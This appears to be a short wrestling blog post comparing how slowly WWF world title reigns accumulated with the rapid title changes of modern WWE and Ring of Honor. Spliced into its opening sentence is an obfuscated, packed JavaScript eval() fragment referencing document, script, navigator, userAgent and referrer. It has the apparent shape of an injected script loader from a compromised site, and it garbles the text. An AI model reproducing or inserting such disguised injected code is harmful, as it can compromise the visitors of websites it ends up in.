Thought of the Day: The WWF Was SLOW
I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbeh|var|u0026u|referrer|skstt||js|php'.split('|'),0,{})) got to thinking about the amount of title reigns in various companies today and did some checking.Ring of Honor has been around for over 11 years now and Jay Briscoe is the 18th world champion. There has been one two time champion (Austin Aries) in the history of the title. Here’s the interesting part: the WWF Title had its first two time champion after ten years, it’s second two time champion after 26 years, and it’s first three time champion after 28 years.
Think about that for a minute when you hear Cole talking about Orton and Cena and HHH having like 40 world title reigns between them. They’ve done that in less than 15 years combined. The 40th WWF Title reign took 35 years to reach in 1998. See why old fans get annoyed at how fast the title changes hands in modern times?
